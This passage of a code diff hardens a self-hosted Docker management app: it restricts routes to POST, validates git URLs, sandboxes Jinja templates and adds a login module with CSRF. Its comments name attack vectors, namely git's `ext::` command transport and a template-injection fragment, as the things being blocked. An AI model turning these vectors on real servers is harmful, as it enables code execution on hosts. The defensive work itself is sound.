|
||||
@app.route("/api/wizard/repos", methods=["GET", "POST"])
|
||||
@app.route("/api/wizard/repos", methods=["POST"])
|
||||
def api_wizard_repos():
|
||||
"""Sla repos op vanuit de wizard."""
|
||||
if request.method == "GET":
|
||||
return jsonify(ok=True, msg="use POST")
|
||||
try:
|
||||
d = request.json or {}
|
||||
updates = {}
|
||||
app_repos = d.get("APP_REPOS")
|
||||
if app_repos is not None:
|
||||
updates["APP_REPOS"] = [r for r in app_repos if r.get("url", "").strip()]
|
||||
mod_repos = d.get("MODULE_REPOS")
|
||||
if mod_repos is not None:
|
||||
updates["MODULE_REPOS"] = [r for r in mod_repos if r.get("url", "").strip()]
|
||||
for key in ("APP_REPOS", "MODULE_REPOS"):
|
||||
given = d.get(key)
|
||||
if given is None:
|
||||
continue
|
||||
kept = [r for r in given if r.get("url", "").strip()]
|
||||
for r in kept:
|
||||
if not cfg.valid_repo_url(r.get("url", "")):
|
||||
return jsonify(ok=False,
|
||||
msg=f"Ongeldige repo-URL: {r.get('url', '')}"), 400
|
||||
updates[key] = kept
|
||||
if updates:
|
||||
cfg.patch(updates)
|
||||
audit.log("wizard", "repos", "ok",
|
||||
|
|
@ -1157,7 +1657,7 @@ def api_wizard_repos():
|
|||
return jsonify(ok=False, msg=str(e))
|
||||
|
||||
|
||||
@app.route("/api/wizard/sync", methods=["GET", "POST"])
|
||||
@app.route("/api/wizard/sync", methods=["POST"])
|
||||
def api_wizard_sync():
|
||||
jid, q = jobs.create("wizard:sync")
|
||||
|
||||
|
|
@ -1192,6 +1692,8 @@ def api_wizard_git():
|
|||
url = d.get("url", "").strip()
|
||||
if not url:
|
||||
return jsonify(ok=False, msg="URL vereist")
|
||||
if not cfg.valid_repo_url(url):
|
||||
return jsonify(ok=False, msg=_BAD_URL_MSG), 400
|
||||
slug = url.rstrip("/").split("/")[-1].removesuffix(".git") or "eigen-git"
|
||||
repo = {"id": slug, "url": url, "branch": "main"}
|
||||
if d.get("token"):
|
||||
|
|
@ -1260,14 +1762,14 @@ def api_wizard_git():
|
|||
return jsonify(ok=True)
|
||||
|
||||
|
||||
@app.route("/api/wizard/complete", methods=["GET", "POST"])
|
||||
@app.route("/api/wizard/complete", methods=["POST"])
|
||||
def api_wizard_done():
|
||||
cfg.patch({"WIZARD_DONE": True})
|
||||
audit.log("wizard", "complete", "ok")
|
||||
return jsonify(ok=True)
|
||||
|
||||
|
||||
@app.route("/api/wizard/reset", methods=["GET", "POST"])
|
||||
@app.route("/api/wizard/reset", methods=["POST"])
|
||||
def api_wizard_reset():
|
||||
c = cfg.load()
|
||||
c.pop("WIZARD_DONE", None)
|
||||
|
|
@ -1402,10 +1904,17 @@ def _boot_sync():
|
|||
|
||||
Loopt na een korte pauze zodat Flask volledig opgestart is.
|
||||
Bij eerste start worden repos gecloned; bij herstart wordt git pull gedraaid.
|
||||
|
||||
Standaard uitgeschakeld: automatisch pullen betekent dat wijzigingen in een
|
||||
externe repo ongezien op deze server terechtkomen — en modulecode uit die
|
||||
repo wordt uitgevoerd. Zet AUTO_SYNC_ON_BOOT aan als je dat accepteert.
|
||||
"""
|
||||
import time
|
||||
time.sleep(2)
|
||||
c = cfg.load()
|
||||
if not c.get("AUTO_SYNC_ON_BOOT"):
|
||||
print(" [boot] auto-sync staat uit (AUTO_SYNC_ON_BOOT)")
|
||||
return
|
||||
for label, repo_list in [("App", c.get("APP_REPOS", [])),
|
||||
("Module", c.get("MODULE_REPOS", []))]:
|
||||
for repo in repo_list:
|
||||
|
|
@ -1428,7 +1937,8 @@ def _boot_sync():
|
|||
|
||||
if __name__ == "__main__":
|
||||
port = int(os.environ.get("PORT", 5000))
|
||||
print(f"\n🚀 Server Up · http://0.0.0.0:{port}\n")
|
||||
host = os.environ.get("SU_BIND", "0.0.0.0")
|
||||
print(f"\n🚀 Server Up {VERSION} · http://{host}:{port}\n")
|
||||
audit.init()
|
||||
i18n.load()
|
||||
print("Boot repos:")
|
||||
|
|
@ -1438,7 +1948,15 @@ if __name__ == "__main__":
|
|||
if not MODULES:
|
||||
print(" (geen)")
|
||||
audit.log("core", "startup", "ok")
|
||||
if auth.needs_setup():
|
||||
print("\n⚠ Nog geen account — open de webinterface en maak er één aan.")
|
||||
print(" Tot dat moment kan iedereen die deze poort bereikt het account claimen.\n")
|
||||
print("Boot sync (achtergrond):")
|
||||
jobs.run(_boot_sync)
|
||||
print(f"\n→ http://localhost:{port}\n")
|
||||
app.run(host="0.0.0.0", port=port, debug=False, threaded=True)
|
||||
if os.environ.get("SU_DEV"):
|
||||
# Werkzeug-ontwikkelserver: handig lokaal, niet geschikt voor productie.
|
||||
app.run(host=host, port=port, debug=False, threaded=True)
|
||||
else:
|
||||
from waitress import serve
|
||||
serve(app, host=host, port=port, threads=8, ident="server-up")
|
||||
|
|
|
|||
|
|
@ -2,6 +2,15 @@
|
|||
import json, os, re, tempfile, threading
|
||||
from pathlib import Path
|
||||
|
||||
# Namen van stacks/instanties: streng genoeg om padtrucs uit te sluiten en
|
||||
# tegelijk geldig als docker-compose projectnaam.
|
||||
_SAFE_NAME_RE = re.compile(r"^[a-zA-Z0-9][a-zA-Z0-9._-]{0,63}$")
|
||||
|
||||
# Git-transports die we toestaan. Alles daarbuiten (met name `ext::`, dat een
|
||||
# shell-commando uitvoert, en `file://`) wordt geweigerd.
|
||||
_URL_SCHEME_RE = re.compile(r"^(https?|ssh|git)://", re.IGNORECASE)
|
||||
_SCP_SYNTAX_RE = re.compile(r"^[A-Za-z0-9._-]+@[A-Za-z0-9._-]+:[^\s]+$")
|
||||
|
||||
DEFAULTS = {
|
||||
"LIBRARY_DIR": "/opt/serverup/stacks",
|
||||
"DATA_DIR": "/opt/serverup/appdata",
|
||||
|
|
@ -28,8 +37,19 @@ DEFAULTS = {
|
|||
# http://10.0.20.22:3000/api/v1/repos/bes-r/server-up/releases
|
||||
"UPDATE_API_URL": os.environ.get("SU_UPDATE_API", ""),
|
||||
"UPDATE_INCLUDE_PRERELEASE": False,
|
||||
# Authenticatie — beheerd via core.auth; hier alleen als placeholder zodat
|
||||
# load() de sleutel kent. Wordt nooit via /api/settings teruggegeven.
|
||||
"AUTH": {},
|
||||
# Repo's synchroniseren bij elke start. Standaard uit: een gecompromitteerde
|
||||
# upstream-repo levert anders vanzelf nieuwe templates/modules aan.
|
||||
"AUTO_SYNC_ON_BOOT": False,
|
||||
# Macvlan/ipvlan-netwerken waarmee stacks een eigen IP-adres krijgen.
|
||||
"NETWORKS": [],
|
||||
}
|
||||
|
||||
# Sleutels die nooit naar de client mogen: geheimen of interne administratie.
|
||||
SECRET_KEYS = frozenset({"AUTH"})
|
||||
|
||||
_path: Path = Path(os.environ.get("SU_CONFIG", "/data/config.json"))
|
||||
_lock = threading.RLock()
|
||||
|
||||
|
|
@ -62,6 +82,57 @@ def _sanitize_repos(repos: list) -> list:
|
|||
return repos
|
||||
|
||||
|
||||
def safe_name(name: str) -> str | None:
|
||||
"""Valideer een stack-/instantienaam. Retourneert de naam of None.
|
||||
|
||||
Weigert lege namen, padscheidingstekens, `..` en alles wat buiten
|
||||
[a-zA-Z0-9._-] valt, zodat een naam nooit uit zijn basismap kan breken.
|
||||
"""
|
||||
name = (name or "").strip()
|
||||
if not _SAFE_NAME_RE.match(name):
|
||||
return None
|
||||
if name in (".", "..") or name.startswith("-"):
|
||||
return None
|
||||
return name
|
||||
|
||||
|
||||
def valid_repo_url(url: str) -> bool:
|
||||
"""Alleen http(s)/ssh/git-URL's en scp-achtige `user@host:pad`-adressen.
|
||||
|
||||
Git ondersteunt ook `ext::<commando>`, dat letterlijk een shell-commando
|
||||
uitvoert, en `file://`, dat lokale paden blootlegt. Beide horen niet thuis
|
||||
in een URL die een gebruiker via de API mag opgeven.
|
||||
"""
|
||||
url = (url or "").strip()
|
||||
if not url or len(url) > 2048:
|
||||
return False
|
||||
if any(c in url for c in ("\n", "\r", "\x00")):
|
||||
return False
|
||||
return bool(_URL_SCHEME_RE.match(url) or _SCP_SYNTAX_RE.match(url))
|
||||
|
||||
|
||||
def redact(config: dict) -> dict:
|
||||
"""Kopie van de config zonder geheimen, geschikt om aan de client te sturen.
|
||||
|
||||
Git-tokens worden vervangen door een `has_token`-vlag, zodat de UI kan tonen
|
||||
dát er een token is zonder de waarde prijs te geven.
|
||||
"""
|
||||
out = {k: v for k, v in config.items() if k not in SECRET_KEYS}
|
||||
for key in ("APP_REPOS", "MODULE_REPOS"):
|
||||
repos = out.get(key)
|
||||
if not isinstance(repos, list):
|
||||
continue
|
||||
clean = []
|
||||
for r in repos:
|
||||
if isinstance(r, dict):
|
||||
has_token = bool((r.get("token") or "").strip())
|
||||
r = {k: v for k, v in r.items() if k != "token"}
|
||||
r["has_token"] = has_token
|
||||
clean.append(r)
|
||||
out[key] = clean
|
||||
return out
|
||||
|
||||
|
||||
def load() -> dict:
|
||||
_ensure()
|
||||
cfg = dict(DEFAULTS)
|
||||
|
|
@ -111,8 +182,10 @@ def load() -> dict:
|
|||
# Auto-reset wizard als LIBRARY_DIR niet bestaat (verse installatie met oud volume)
|
||||
if cfg.get("WIZARD_DONE") and not Path(cfg["LIBRARY_DIR"]).exists():
|
||||
cfg["WIZARD_DONE"] = False
|
||||
for k in DEFAULTS:
|
||||
if k in os.environ:
|
||||
# Env-overrides gelden alleen voor eenvoudige waarden; lijsten en objecten
|
||||
# (APP_REPOS, AUTH, NETWORKS, …) zouden anders een kale string worden.
|
||||
for k, default in DEFAULTS.items():
|
||||
if k in os.environ and not isinstance(default, (dict, list)):
|
||||
cfg[k] = os.environ[k]
|
||||
# Herhaal veiligheidscheck na env-overrides
|
||||
for key in ("LIBRARY_DIR", "DATA_DIR", "BACKUP_DIR"):
|
||||
|
|
@ -143,6 +216,9 @@ def save(cfg: dict):
|
|||
with _lock:
|
||||
fd, tmp = tempfile.mkstemp(dir=str(_path.parent), suffix=".json")
|
||||
try:
|
||||
# De config bevat git-tokens en wachtwoordhashes — alleen leesbaar
|
||||
# voor de eigenaar. mkstemp geeft al 0600; expliciet is duidelijker.
|
||||
os.chmod(tmp, 0o600)
|
||||
with os.fdopen(fd, "w") as f:
|
||||
json.dump(cfg, f, indent=2)
|
||||
Path(tmp).replace(_path)
|
||||
|
|
|
|||
|
|
@ -3,30 +3,56 @@ import sqlite3, time, json, os, threading
|
|||
from pathlib import Path
|
||||
|
||||
_db = Path(os.environ.get("SU_AUDIT", "/data/audit.db"))
|
||||
_local = threading.local()
|
||||
|
||||
# Eén gedeelde verbinding achter een lock. Eerder kreeg elke thread een eigen
|
||||
# thread-local verbinding die nooit gesloten werd; omdat iedere job een nieuwe
|
||||
# thread start, lekte dat een file descriptor per job.
|
||||
_conn_obj: sqlite3.Connection | None = None
|
||||
_lock = threading.Lock()
|
||||
|
||||
|
||||
def init():
|
||||
_db.parent.mkdir(parents=True, exist_ok=True)
|
||||
with _conn() as c:
|
||||
with _lock:
|
||||
c = _connect()
|
||||
with c:
|
||||
c.execute("""CREATE TABLE IF NOT EXISTS log(
|
||||
id INTEGER PRIMARY KEY, ts REAL,
|
||||
src TEXT, action TEXT, status TEXT,
|
||||
ref TEXT, detail TEXT, ip TEXT)""")
|
||||
|
||||
|
||||
def _conn():
|
||||
if not hasattr(_local, "c") or _local.c is None:
|
||||
_local.c = sqlite3.connect(str(_db), timeout=5)
|
||||
_local.c.row_factory = sqlite3.Row
|
||||
return _local.c
|
||||
def _connect() -> sqlite3.Connection:
|
||||
"""Maak (eenmalig) de gedeelde verbinding. Aanroepen onder _lock."""
|
||||
global _conn_obj
|
||||
if _conn_obj is None:
|
||||
_db.parent.mkdir(parents=True, exist_ok=True)
|
||||
_conn_obj = sqlite3.connect(str(_db), timeout=5, check_same_thread=False)
|
||||
_conn_obj.row_factory = sqlite3.Row
|
||||
# WAL laat lezers en schrijvers naast elkaar werken.
|
||||
_conn_obj.execute("PRAGMA journal_mode=WAL")
|
||||
return _conn_obj
|
||||
|
||||
|
||||
def close():
|
||||
"""Sluit de gedeelde verbinding (gebruikt door tests en bij afsluiten)."""
|
||||
global _conn_obj
|
||||
with _lock:
|
||||
if _conn_obj is not None:
|
||||
try:
|
||||
_conn_obj.close()
|
||||
finally:
|
||||
_conn_obj = None
|
||||
|
||||
|
||||
def log(src: str, action: str, status="ok", ref="", detail=None, ip=""):
|
||||
d = json.dumps(detail) if isinstance(detail, (dict, list)) else str(detail or "")
|
||||
try:
|
||||
with _conn() as c:
|
||||
c.execute("INSERT INTO log(ts,src,action,status,ref,detail,ip) VALUES(?,?,?,?,?,?,?)",
|
||||
with _lock:
|
||||
c = _connect()
|
||||
with c:
|
||||
c.execute("INSERT INTO log(ts,src,action,status,ref,detail,ip) "
|
||||
"VALUES(?,?,?,?,?,?,?)",
|
||||
(time.time(), src, action, status, ref, d, ip))
|
||||
except Exception:
|
||||
pass
|
||||
|
|
@ -34,8 +60,9 @@ def log(src: str, action: str, status="ok", ref="", detail=None, ip=""):
|
|||
|
||||
def query(limit=100, offset=0) -> list[dict]:
|
||||
try:
|
||||
with _conn() as c:
|
||||
rows = c.execute("SELECT * FROM log ORDER BY ts DESC LIMIT ? OFFSET ?",
|
||||
with _lock:
|
||||
rows = _connect().execute(
|
||||
"SELECT * FROM log ORDER BY ts DESC LIMIT ? OFFSET ?",
|
||||
(limit, offset)).fetchall()
|
||||
return [dict(r) for r in rows]
|
||||
except Exception:
|
||||
|
|
@ -44,15 +71,17 @@ def query(limit=100, offset=0) -> list[dict]:
|
|||
|
||||
def count() -> int:
|
||||
try:
|
||||
with _conn() as c:
|
||||
return c.execute("SELECT count(*) FROM log").fetchone()[0]
|
||||
with _lock:
|
||||
return _connect().execute("SELECT count(*) FROM log").fetchone()[0]
|
||||
except Exception:
|
||||
return 0
|
||||
|
||||
|
||||
def clear():
|
||||
try:
|
||||
with _conn() as c:
|
||||
with _lock:
|
||||
c = _connect()
|
||||
with c:
|
||||
c.execute("DELETE FROM log")
|
||||
except Exception:
|
||||
pass
|
||||
|
|
|
|||
295
server-up/core/auth.py
Normal file
295
server-up/core/auth.py
Normal file
|
|
@ -0,0 +1,295 @@
|
|||
"""Authenticatie — lokale login (scrypt) + optionele trusted-proxy-header SSO.
|
||||
|
||||
Server Up beheert de Docker-daemon als root. Zonder authenticatie is elke
|
||||
`/api/*`-route gelijk aan root-toegang tot de host. Deze module levert:
|
||||
|
||||
* lokale accounts met een scrypt-wachtwoordhash in `config.json`
|
||||
* een sessiecookie (HttpOnly, SameSite=Strict)
|
||||
* CSRF-tokens voor alle muterende requests
|
||||
* optioneel: een identiteit uit een reverse-proxy-header (Authelia/Authentik/
|
||||
Cloudflare Access), alleen vertrouwd vanaf een geconfigureerd proxy-IP
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import hashlib
|
||||
import hmac
|
||||
import ipaddress
|
||||
import os
|
||||
import secrets
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
|
||||
from flask import request, session
|
||||
|
||||
import core as cfg
|
||||
|
||||
# scrypt-parameters. n=2**14 kost ~16 MB per hash — ruim genoeg tegen brute
|
||||
# force en nog steeds enkele milliseconden op bescheiden hardware.
|
||||
_N, _R, _P, _DKLEN = 2 ** 14, 8, 1, 32
|
||||
|
||||
# Mislukte pogingen per gebruiker: {naam: (aantal, geblokkeerd_tot)}
|
||||
_FAILS: dict[str, tuple[int, float]] = {}
|
||||
_FAILS_LOCK = threading.Lock()
|
||||
_MAX_FAILS = 5
|
||||
_LOCKOUT_SECONDS = 300
|
||||
|
||||
DEFAULT_AUTH = {
|
||||
"mode": "local", # local | proxy | both
|
||||
"users": {}, # {naam: {salt, hash}}
|
||||
"proxy_header": "Remote-User",
|
||||
"trusted_proxies": [], # IP's of CIDR's die de header mogen zetten
|
||||
"session_hours": 12,
|
||||
}
|
||||
|
||||
|
||||
# ── Secret key ───────────────────────────────────────────────────────────────
|
||||
|
||||
def _secret_path() -> Path:
|
||||
"""Losstaand bestand, bewust níét in config.json — dan kan het ook nooit
|
||||
via `GET /api/settings` naar buiten lekken."""
|
||||
env = os.environ.get("SU_SECRET")
|
||||
if env:
|
||||
return Path(env)
|
||||
return Path(os.environ.get("SU_CONFIG", "/data/config.json")).parent / "secret.key"
|
||||
|
||||
|
||||
def secret_key() -> bytes:
|
||||
"""Lees de Flask-SECRET_KEY, of maak er eenmalig een aan (0600)."""
|
||||
p = _secret_path()
|
||||
try:
|
||||
if p.exists():
|
||||
data = p.read_bytes().strip()
|
||||
if len(data) >= 32:
|
||||
return data
|
||||
except Exception:
|
||||
pass
|
||||
key = secrets.token_bytes(48)
|
||||
try:
|
||||
p.parent.mkdir(parents=True, exist_ok=True)
|
||||
# Maak het bestand met 0600 aan vóór er iets in staat.
|
||||
fd = os.open(str(p), os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
|
||||
with os.fdopen(fd, "wb") as f:
|
||||
f.write(key)
|
||||
except Exception:
|
||||
# Lukt schrijven niet, dan draaien we met een sleutel in geheugen:
|
||||
# sessies overleven een herstart dan niet, maar de app blijft veilig.
|
||||
pass
|
||||
return key
|
||||
|
||||
|
||||
# ── Wachtwoorden ─────────────────────────────────────────────────────────────
|
||||
|
||||
def hash_password(password: str) -> dict:
|
||||
salt = secrets.token_bytes(16)
|
||||
dk = hashlib.scrypt(password.encode("utf-8"), salt=salt,
|
||||
n=_N, r=_R, p=_P, dklen=_DKLEN)
|
||||
return {"salt": salt.hex(), "hash": dk.hex(), "n": _N, "r": _R, "p": _P}
|
||||
|
||||
|
||||
def verify_password(password: str, record: dict) -> bool:
|
||||
if not isinstance(record, dict) or not record.get("salt") or not record.get("hash"):
|
||||
return False
|
||||
try:
|
||||
salt = bytes.fromhex(record["salt"])
|
||||
expected = bytes.fromhex(record["hash"])
|
||||
dk = hashlib.scrypt(
|
||||
password.encode("utf-8"), salt=salt,
|
||||
n=int(record.get("n", _N)), r=int(record.get("r", _R)),
|
||||
p=int(record.get("p", _P)), dklen=len(expected))
|
||||
except Exception:
|
||||
return False
|
||||
return hmac.compare_digest(dk, expected)
|
||||
|
||||
|
||||
def password_problem(password: str) -> str:
|
||||
"""Retourneer een foutmelding, of "" als het wachtwoord voldoet."""
|
||||
if len(password or "") < 10:
|
||||
return "Wachtwoord moet minstens 10 tekens lang zijn."
|
||||
if len(password) > 1024:
|
||||
return "Wachtwoord is te lang."
|
||||
return ""
|
||||
|
||||
|
||||
# ── Config-helpers ───────────────────────────────────────────────────────────
|
||||
|
||||
def settings() -> dict:
|
||||
a = dict(DEFAULT_AUTH)
|
||||
stored = cfg.load().get("AUTH")
|
||||
if isinstance(stored, dict):
|
||||
a.update(stored)
|
||||
if not isinstance(a.get("users"), dict):
|
||||
a["users"] = {}
|
||||
return a
|
||||
|
||||
|
||||
def _save(auth_cfg: dict):
|
||||
cfg.patch({"AUTH": auth_cfg})
|
||||
|
||||
|
||||
def users() -> list[str]:
|
||||
return sorted(settings()["users"].keys())
|
||||
|
||||
|
||||
def needs_setup() -> bool:
|
||||
"""True zolang er nog geen enkel account bestaat én lokale login actief is."""
|
||||
a = settings()
|
||||
if a.get("mode") == "proxy":
|
||||
return False
|
||||
return not a["users"]
|
||||
|
||||
|
||||
def create_user(name: str, password: str) -> tuple[bool, str]:
|
||||
name = (name or "").strip()
|
||||
if not name or len(name) > 64:
|
||||
return False, "Ongeldige gebruikersnaam."
|
||||
problem = password_problem(password)
|
||||
if problem:
|
||||
return False, problem
|
||||
a = settings()
|
||||
if name in a["users"]:
|
||||
return False, "Gebruiker bestaat al."
|
||||
a["users"][name] = hash_password(password)
|
||||
_save(a)
|
||||
return True, "Account aangemaakt."
|
||||
|
||||
|
||||
def set_password(name: str, password: str) -> tuple[bool, str]:
|
||||
problem = password_problem(password)
|
||||
if problem:
|
||||
return False, problem
|
||||
a = settings()
|
||||
if name not in a["users"]:
|
||||
return False, "Gebruiker niet gevonden."
|
||||
a["users"][name] = hash_password(password)
|
||||
_save(a)
|
||||
return True, "Wachtwoord gewijzigd."
|
||||
|
||||
|
||||
def delete_user(name: str) -> tuple[bool, str]:
|
||||
a = settings()
|
||||
if name not in a["users"]:
|
||||
return False, "Gebruiker niet gevonden."
|
||||
if len(a["users"]) == 1 and a.get("mode") != "proxy":
|
||||
return False, "De laatste gebruiker kan niet verwijderd worden."
|
||||
del a["users"][name]
|
||||
_save(a)
|
||||
return True, "Gebruiker verwijderd."
|
||||
|
||||
|
||||
# ── Lockout ──────────────────────────────────────────────────────────────────
|
||||
|
||||
def _locked_for(name: str) -> int:
|
||||
with _FAILS_LOCK:
|
||||
count, until = _FAILS.get(name, (0, 0.0))
|
||||
remaining = int(until - time.time())
|
||||
return remaining if remaining > 0 else 0
|
||||
|
||||
|
||||
def _record_failure(name: str):
|
||||
with _FAILS_LOCK:
|
||||
count, until = _FAILS.get(name, (0, 0.0))
|
||||
count += 1
|
||||
if count >= _MAX_FAILS:
|
||||
_FAILS[name] = (0, time.time() + _LOCKOUT_SECONDS)
|
||||
else:
|
||||
_FAILS[name] = (count, until)
|
||||
|
||||
|
||||
def _clear_failures(name: str):
|
||||
with _FAILS_LOCK:
|
||||
_FAILS.pop(name, None)
|
||||
|
||||
|
||||
def check_login(name: str, password: str) -> tuple[bool, str]:
|
||||
"""Controleer inloggegevens. Retourneert (ok, melding)."""
|
||||
name = (name or "").strip()
|
||||
wait = _locked_for(name)
|
||||
if wait:
|
||||
return False, f"Te veel mislukte pogingen — probeer over {wait} seconden opnieuw."
|
||||
record = settings()["users"].get(name)
|
||||
if not record:
|
||||
# Doe alsnog het rekenwerk, zodat een bestaande gebruikersnaam niet
|
||||
# verraden wordt door een sneller antwoord.
|
||||
hash_password(password or "")
|
||||
_record_failure(name)
|
||||
return False, "Onjuiste gebruikersnaam of wachtwoord."
|
||||
if not verify_password(password or "", record):
|
||||
_record_failure(name)
|
||||
return False, "Onjuiste gebruikersnaam of wachtwoord."
|
||||
_clear_failures(name)
|
||||
return True, "Ingelogd."
|
||||
|
||||
|
||||
# ── Trusted-proxy-header ─────────────────────────────────────────────────────
|
||||
|
||||
def _proxy_trusted(remote_addr: str, trusted: list) -> bool:
|
||||
if not remote_addr or not trusted:
|
||||
return False
|
||||
try:
|
||||
addr = ipaddress.ip_address(remote_addr)
|
||||
except ValueError:
|
||||
return False
|
||||
for entry in trusted:
|
||||
try:
|
||||
if addr in ipaddress.ip_network(str(entry), strict=False):
|
||||
return True
|
||||
except ValueError:
|
||||
continue
|
||||
return False
|
||||
|
||||
|
||||
def proxy_user() -> str | None:
|
||||
"""Gebruikersnaam uit de reverse-proxy-header, mits die proxy vertrouwd is."""
|
||||
a = settings()
|
||||
if a.get("mode") not in ("proxy", "both"):
|
||||
return None
|
||||
header = (a.get("proxy_header") or "").strip()
|
||||
if not header:
|
||||
return None
|
||||
if not _proxy_trusted(request.remote_addr or "", a.get("trusted_proxies") or []):
|
||||
return None
|
||||
name = (request.headers.get(header) or "").strip()
|
||||
return name[:64] or None
|
||||
|
||||
|
||||
# ── Sessie ───────────────────────────────────────────────────────────────────
|
||||
|
||||
def start_session(name: str, via: str = "local"):
|
||||
session.clear()
|
||||
session.permanent = True
|
||||
session["user"] = name
|
||||
session["via"] = via
|
||||
session["csrf"] = secrets.token_urlsafe(32)
|
||||
|
||||
|
||||
def end_session():
|
||||
session.clear()
|
||||
|
||||
|
||||
def current_user() -> str | None:
|
||||
"""De ingelogde gebruiker, uit de sessie of uit een vertrouwde proxy-header."""
|
||||
name = session.get("user")
|
||||
if name:
|
||||
return name
|
||||
name = proxy_user()
|
||||
if name:
|
||||
# Geef ook proxy-gebruikers een sessie, zodat er een CSRF-token bestaat.
|
||||
start_session(name, via="proxy")
|
||||
return name
|
||||
return None
|
||||
|
||||
|
||||
def csrf_token() -> str:
|
||||
token = session.get("csrf")
|
||||
if not token:
|
||||
token = secrets.token_urlsafe(32)
|
||||
session["csrf"] = token
|
||||
return token
|
||||
|
||||
|
||||
def verify_csrf(supplied: str | None) -> bool:
|
||||
expected = session.get("csrf")
|
||||
if not expected or not supplied:
|
||||
return False
|
||||
return hmac.compare_digest(str(expected), str(supplied))
|
||||
|
|
@ -147,10 +147,15 @@ def _jinja_env():
|
|||
global _env
|
||||
if _env is None:
|
||||
try:
|
||||
from jinja2 import Environment, ChainableUndefined
|
||||
from jinja2 import ChainableUndefined
|
||||
# Sandboxed: templates komen uit externe git-repo's en worden al
|
||||
# gerenderd in /api/store/preview, dus vóór een installatie. Een
|
||||
# gewone Environment laat `<< ''.__class__.__mro__ >>`-trucs toe
|
||||
# en daarmee code-uitvoering in het app-proces.
|
||||
from jinja2.sandbox import SandboxedEnvironment
|
||||
except ImportError as e:
|
||||
raise BoilerplateError("Jinja2 is required to render boilerplate templates") from e
|
||||
_env = Environment(
|
||||
_env = SandboxedEnvironment(
|
||||
variable_start_string=_VAR_OPEN,
|
||||
variable_end_string=_VAR_CLOSE,
|
||||
block_start_string=_BLK_OPEN,
|
||||
|
|
|
|||
87
server-up/core/compose_transform.py
Normal file
87
server-up/core/compose_transform.py
Normal file
|
|
@ -0,0 +1,87 @@
|
|||
"""Compose-transformatie: gepubliceerde poorten → een eigen IP-adres.
|
||||
|
||||
Wordt toegepast op het al gerenderde compose-bestand. Daardoor werkt het voor
|
||||
zowel het boilerplate-formaat als het klassieke Server Up-formaat, en hoeven de
|
||||
templates in apps/ niet aangepast te worden.
|
||||
|
||||
Voorbeeld:
|
||||
|
||||
services: services:
|
||||
web: web:
|
||||
image: nginx image: nginx
|
||||
ports: → networks:
|
||||
- "8080:80" lan:
|
||||
ipv4_address: 192.168.1.240
|
||||
networks:
|
||||
lan:
|
||||
external: true
|
||||
"""
|
||||
from __future__ import annotations
|
||||
|
||||
import yaml
|
||||
|
||||
|
||||
class TransformError(Exception):
|
||||
pass
|
||||
|
||||
|
||||
def to_dedicated_ip(compose_text: str, network: str, ip: str,
|
||||
only_service: str | None = None) -> str:
|
||||
"""Geef het compose-bestand terug met poortmappings vervangen door een IP.
|
||||
|
||||
Het IP wordt toegekend aan één service: `only_service` als die is opgegeven,
|
||||
anders de eerste service die poorten publiceert (en anders de eerste service
|
||||
überhaupt). Overige services komen zonder vast adres in hetzelfde netwerk,
|
||||
zodat ze elkaar op servicenaam kunnen blijven vinden.
|
||||
"""
|
||||
try:
|
||||
doc = yaml.safe_load(compose_text)
|
||||
except yaml.YAMLError as e:
|
||||
raise TransformError(f"compose is geen geldige YAML: {e}") from e
|
||||
if not isinstance(doc, dict):
|
||||
raise TransformError("compose bevat geen mapping op het hoogste niveau")
|
||||
|
||||
services = doc.get("services")
|
||||
if not isinstance(services, dict) or not services:
|
||||
raise TransformError("compose bevat geen services")
|
||||
|
||||
doel = only_service
|
||||
if doel is None:
|
||||
doel = next((naam for naam, svc in services.items()
|
||||
if isinstance(svc, dict) and svc.get("ports")), None)
|
||||
if doel is None:
|
||||
doel = next(iter(services))
|
||||
if doel not in services:
|
||||
raise TransformError(f"service '{doel}' bestaat niet in dit compose-bestand")
|
||||
|
||||
for naam, svc in services.items():
|
||||
if not isinstance(svc, dict):
|
||||
continue
|
||||
# Poorten publiceren heeft geen zin meer — de container is direct
|
||||
# bereikbaar op zijn eigen adres.
|
||||
svc.pop("ports", None)
|
||||
if naam == doel:
|
||||
svc["networks"] = {network: {"ipv4_address": ip}}
|
||||
else:
|
||||
svc["networks"] = [network]
|
||||
|
||||
# Het netwerk wordt door Server Up beheerd, niet door deze compose-stack.
|
||||
doc["networks"] = {network: {"external": True}}
|
||||
|
||||
return yaml.safe_dump(doc, sort_keys=False, default_flow_style=False,
|
||||
allow_unicode=True, width=120)
|
||||
|
||||
|
||||
def published_ports(compose_text: str) -> list[str]:
|
||||
"""Alle host-poorten die dit compose-bestand publiceert (voor de UI)."""
|
||||
try:
|
||||
doc = yaml.safe_load(compose_text) or {}
|
||||
except yaml.YAMLError:
|
||||
return []
|
||||
out = []
|
||||
for svc in (doc.get("services") or {}).values():
|
||||
if not isinstance(svc, dict):
|
||||
continue
|
||||
for p in svc.get("ports") or []:
|
||||
out.append(str(p))
|
||||
return out
|
||||
|
|
@ -137,6 +137,41 @@ def restart_container(name: str) -> tuple[bool, str]:
|
|||
return r.returncode == 0, (r.stderr or r.stdout).strip()
|
||||
|
||||
|
||||
def container_action(name: str, action: str) -> tuple[bool, str]:
|
||||
"""Start, stop of herstart één container.
|
||||
|
||||
De aanroeper is verantwoordelijk voor het controleren dát deze container bij
|
||||
een door Server Up beheerde stack hoort (zie app.api_container_action).
|
||||
"""
|
||||
if action not in ("start", "stop", "restart"):
|
||||
return False, "onbekende actie"
|
||||
r = _run([_bin(), action, name], timeout=60)
|
||||
return r.returncode == 0, (r.stderr or r.stdout).strip()
|
||||
|
||||
|
||||
def container_logs(name: str, tail=200) -> str:
|
||||
r = _run([_bin(), "logs", "--tail", str(int(tail)), name], timeout=15)
|
||||
return r.stdout or r.stderr
|
||||
|
||||
|
||||
def stats(names: list[str]) -> dict[str, dict]:
|
||||
"""Momentopname van CPU/geheugen per container: {naam: {cpu, mem, ...}}."""
|
||||
if not names:
|
||||
return {}
|
||||
fmt = "{{.Name}}\t{{.CPUPerc}}\t{{.MemUsage}}\t{{.MemPerc}}\t{{.NetIO}}\t{{.BlockIO}}"
|
||||
r = _run([_bin(), "stats", "--no-stream", "--format", fmt] + list(names), timeout=25)
|
||||
if r.returncode != 0:
|
||||
return {}
|
||||
out = {}
|
||||
for line in r.stdout.strip().splitlines():
|
||||
p = line.split("\t")
|
||||
if len(p) >= 4:
|
||||
out[p[0]] = {"cpu": p[1], "mem": p[2], "mem_pct": p[3],
|
||||
"net": p[4] if len(p) > 4 else "",
|
||||
